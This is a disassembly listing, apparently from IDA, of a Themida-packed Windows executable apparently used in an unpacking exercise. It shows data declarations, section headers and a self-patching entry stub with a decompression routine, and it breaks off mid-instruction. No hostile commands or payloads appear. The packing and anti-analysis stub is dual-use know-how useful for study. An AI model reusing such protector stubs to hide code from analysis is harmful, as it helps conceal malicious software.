; DATA XREF: sub_40981F+A73w dword_43F664 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43F668 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43F66C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43F670 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43F674 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43F678 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43F67C dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43F680 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43F684 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43F688 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43F68C dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43F690 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43F694 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43F698 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4626r dword_43F69C dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43F6A0 dd 0 ; DATA XREF: sub_40981F+112w dword_43F6A4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43F6A8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43F6AC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43F6B0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43F6B4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43F6B8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43F6BC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43F6C0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43F6C4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43F6C8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43F6CC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43F6D0 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43F6D4 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43F6D8 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43F6DC dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43F6E0 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43F6E4 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43F6E8 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43F6EC dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43F6F0 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43F6F4 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43F6F8 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43F6FC dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43F700 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43F704 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43F708 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43F70C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43F710 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43F714 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43F718 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43F720 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43F724 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43F728 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43F72C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43F730 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43F734 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43F738 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43F73C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43F740 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43F744 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43F748 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43F74C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43F750 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43F754 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43F758 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43F75C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43F760 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43F764 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43F768 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43F76C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43F770 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43F774 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43F778 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43F77C dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43F780 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43F784 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43F788 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43F78C dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43F790 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43F794 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43F798 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43F99C dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43F9B0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43F9B4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43F9B8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43F9BC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43F9C0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43F9F4 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43F9FC dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43FA34 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_443A34 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_443A38 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_443A70 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_443A78 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_443AD4 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_443CD4 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_443CD8 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_443D34 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_443F34 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_443F38 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_444138 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_444340 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_444358 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_444EC0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4450C0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4450C4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4450C8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4450CC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_4450D0 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_4450D4 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_4450D8 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3359r ... align 4 dd 19Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 0E700h dup(0) dword_489C50 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; sub_40E6A9+3Aw ... align 8 dword_489C58 dd 0 ; DATA XREF: sub_40E6A9:loc_40EAA4o dword_489C5C dd 20h dup(0) ; DATA XREF: sub_40E6A9+393o ; sub_40E6A9+44Co ... dword_489CDC dd 10h dup(0) ; DATA XREF: sub_40E6A9+3AAo ; sub_40EE72+929o dword_489D1C dd 24h dup(0) ; DATA XREF: sub_40E6A9+3C1o dword_489DAC dd 0 ; DATA XREF: sub_40E6A9+3B5w ; sub_40E6A9+463w ... dword_489DB0 dd 0 ; DATA XREF: sub_40E6A9+3D4w align 10h dword_489DC0 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_489DC8 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_489DCC dd 0 ; DATA XREF: sub_40E6A9+400w ; sub_40E6A9+417r ... dword_489DD0 dd 0 ; DATA XREF: sub_40E6A9+398w ; sub_40EE72+8CAr dd 2 dup(0) dword_489DDC dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_489DE4 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_489E50 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_489E54 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_489FE8 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_489FF4 dd 0 ; DATA XREF: sub_417D73+Aw dword_489FF8 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_48A000 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_48A002 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_48A006 dw 0 ; DATA XREF: sub_4186B1+3Br word_48A008 dw 0 ; DATA XREF: sub_4186B1+2Er word_48A00A dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_48A010 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_48A014 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_48A018 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_48A01C dd 0 ; DATA XREF: sub_41FEC6+13Ar dword_48A020 dd 0A28h ; DATA XREF: ___:00419C36w dword_48A024 dd 501h ; DATA XREF: ___:00419C2Dw dd 5, 1 dword_48A030 dd 1 ; DATA XREF: sub_40E6A9:loc_40E98Cr ; sub_41F240+91w dword_48A034 dd 2400B30h ; DATA XREF: sub_40E6A9+2ECr ; sub_40E6A9+30Cr ... dd 0 dword_48A03C dd 2400B58h ; DATA XREF: sub_41F187+44w ; sub_421DAE+9r ... dword_48A040 dd 0 ; DATA XREF: sub_422492+36r dword_48A044 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_48A04C dd offset aCM_unpackerPac ; DATA XREF: sub_41F240+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_48A054 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_48A058 dd 0 ; DATA XREF: sub_419B07+27w dword_48A05C dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_48A060 dd 0 ; DATA XREF: ___:00419C68w ; sub_41F187:loc_41F199r ... align 8 dword_48A068 dd 0 ; DATA XREF: sub_419CDAr sub_419CFFr ... dword_48A06C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_48A074 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_48A078 dd 0 ; DATA XREF: sub_41AB54r dword_48A07C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_48A080 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_48A084 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_48A088 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_48A08C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_48A090 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_48A094 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_48A098 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_48A09C dd 0 ; DATA XREF: sub_41D4FC+29r dword_48A0A0 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_48A0A8 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_48A0B8 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_48A0C0 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_48A0C4 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_48A0C8 dd 0 ; DATA XREF: sub_41EFAB+3Ar ; sub_41EFAB+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41F240:loc_41F257o ; ___:off_48A04Co align 4 dd 3Ah dup(0) dword_48A1D0 dd 1 ; DATA XREF: sub_41F48D+2r ; sub_41F48D+23w ... dword_48A1D4 dd 0 ; DATA XREF: sub_41F84C+21r dword_48A1D8 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_48A1DC dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_48A1E0 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_48A1E8 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_48A1EA db 0 ; DATA XREF: sub_42074B+39r align 4 dword_48A1EC dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_48A208 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_48A20C dd 0 ; DATA XREF: sub_42074B+4Dw dword_48A210 dd 0 ; DATA XREF: sub_42074B+31w dword_48A214 dd 0 ; DATA XREF: sub_42074B+52w dword_48A218 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_48A220 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_48A228 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_48A22C dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_48A26C dw 0 ; DATA XREF: sub_420BAC+A8r word_48A26E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_48A270 dw 0 ; DATA XREF: sub_420BAC+CAr word_48A272 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_48A274 dw 0 ; DATA XREF: sub_420BAC+C0r word_48A276 dw 0 ; DATA XREF: sub_420BAC+B8r word_48A278 dw 0 ; DATA XREF: sub_420BAC+B0r word_48A27A dw 0 ; DATA XREF: sub_420BAC+9Er dword_48A27C dd 0 ; DATA XREF: sub_42094E+4Br dword_48A280 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_48A2C0 dw 0 ; DATA XREF: sub_420BAC+46r word_48A2C2 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_48A2C4 dw 0 ; DATA XREF: sub_420BAC+67r word_48A2C6 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_48A2C8 dw 0 ; DATA XREF: sub_420BAC+5Dr word_48A2CA dw 0 ; DATA XREF: sub_420BAC+55r word_48A2CC dw 0 ; DATA XREF: sub_420BAC+4Dr word_48A2CE dw 0 ; DATA XREF: sub_420BAC+3Er dword_48A2D0 dd 0 ; DATA XREF: sub_42094E+80r dword_48A2D4 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_48A2D8 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_48A2DC dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_48A2E0 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_48A2E4 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_48A2E8 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_48A2EC dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_48A2F0 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_48A2F4 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_48A2F8 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_48A300 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_48A304 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_48A308 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_48A30C db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_48A310 dd 2401140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_48A320 dd 400h dup(0) ; DATA XREF: ___:off_43BCB8o ; ___:0043BCC0o dword_48B320 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_48B340 dd 2400650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_48B344 dd 3Fh dup(0) ; DATA XREF: sub_41F5BF+92o dword_48B440 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_48B444 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_48B450 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_48B45C dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_48B460 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_48B560 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_48B561 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_48B664 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_48B668 dd 0 ; DATA XREF: sub_41AD41+3Cw ; sub_41B3E6+5r ... dword_48B66C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_48B670 dd 0 ; DATA XREF: sub_41AD41+31w ; sub_41ADB4+311w ... dword_48B674 dd 0 ; DATA XREF: sub_41AD41+21w ; sub_41ADB4+22Dr ... dword_48B678 dd 0 ; DATA XREF: sub_41AD41+28w ; sub_41AD89r ... dword_48B67C dd 0 ; DATA XREF: sub_41AD41+15w ; sub_41AD89+8r ... dword_48B680 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_48B684 dd 2400000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_48B688 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_48B68C dd 142340h ; DATA XREF: ___:00419C5Ew ; sub_41F12F+Fr ... dword_48B690 dd 1 ; DATA XREF: sub_41F187+ADw ; sub_421DAEr dword_48B694 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_48B698 dd 2400758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_48B69C dd 2400758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 258h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 0008D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 48D000h align 2000h _rsrc___ ends ; Section 3. (virtual address 0008E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 48E000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 8E050h, 8E000h, 3 dup(0) dd 8E079h, 8E00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 0008F000) ; Virtual size : 000FC000 (1032192.) ; Section size in file : 000FC000 (1032192.) ; Offset to raw data for section: 0008F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 48F000h dd 6E4A3FC2h, 4F3B4h, 52BB9h, 0C4172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004FA844 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004FDDB9 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 004FE02F SIZE 00000055 BYTES ; FUNCTION CHUNK AT 004FE095 SIZE 00000096 BYTES ; FUNCTION CHUNK AT 004FE161 SIZE 00000019 BYTES mov eax, 0 pusha or eax, eax jz short loc_48F086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_48F041 popa jmp short loc_48F076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_48F041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_48F04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_48F06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_48F074 loc_48F06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_48F04E ; --------------------------------------------------------------------------- loc_48F074: ; CODE XREF: start+57j mov edi, eax loc_48F076: ; CODE XREF: start+1Bj jmp loc_48F265 ; --------------------------------------------------------------------------- db 3 dd 0F26AB9C7h, 0CF030008h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_48F086: ; CODE XREF: start+8j mov eax, offset loc_4FA844 mov ecx, offset word_48F26A push eax push ecx call sub_48F11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_48F265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(“ÉäŠx¼^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_48F11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_48F127: ; CODE XREF: sub_48F11B:loc_48F13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_48F132: ; CODE XREF: sub_48F11B+7Aj ; sub_48F11B+C3j ... add dl, dl jnz short loc_48F13B mov dl, [esi] inc esi adc dl, dl loc_48F13B: ; CODE XREF: sub_48F11B+19j jnb short loc_48F127 add dl, dl jnz short loc_48F146 mov dl, [esi] inc esi adc dl, dl loc_48F146: ; CODE XREF: sub_48F11B+24j jnb short loc_48F197 xor eax, eax add dl, dl jnz short loc_48F153 mov dl, [esi] inc esi adc dl, dl loc_48F153: ; CODE XREF: sub_48F11B+31j jnb loc_48F238 add dl, dl jnz short loc_48F162 mov dl, [esi] inc esi adc dl, dl loc_48F162: ; CODE XREF: sub_48F11B+40j adc eax, eax add dl, dl jnz short loc_48F16D mov dl, [esi] inc esi adc dl, dl loc_48F16D: ; CODE XREF: sub_48F11B+4Bj adc eax, eax add dl, dl jnz short loc_48F178 mov dl, [esi] inc esi adc dl, dl loc_48F178: ; CODE XREF: sub_48F11B+56j adc eax, eax add dl, dl jnz short loc_48F183 mov dl, [esi] inc esi adc dl, dl loc_48F183: ; CODE XREF: sub_48F11B+61j adc eax, eax jz short loc_48F18D push edi sub edi, eax mov al, [edi] pop edi loc_48F18D: ; CODE XREF: sub_48F11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_48F132 ; --------------------------------------------------------------------------- loc_48F197: ; CODE XREF: sub_48F11B:loc_48F146j mov eax, 1 loc_48F19C: ; CODE XREF: sub_48F11B:loc_48F1B0j add dl, dl jnz short loc_48F1A5 mov dl, [esi] inc esi adc dl, dl loc_48F1A5: ; CODE XREF: sub_48F11B+83j adc eax, eax add dl, dl jnz short loc_48F1B0 mov dl, [esi] inc esi adc dl, dl loc_48F1B0: ; CODE XREF: sub_48F11B+8Ej jb short loc_48F19C sub eax, ebx mov ebx, 1 jnz short loc_48F1E3 mov ecx, 1 loc_48F1C0: ; CODE XREF: sub_48F11B:loc_48F1D4j add dl, dl jnz short loc_48F1C9 mov dl, [esi] inc esi adc dl, 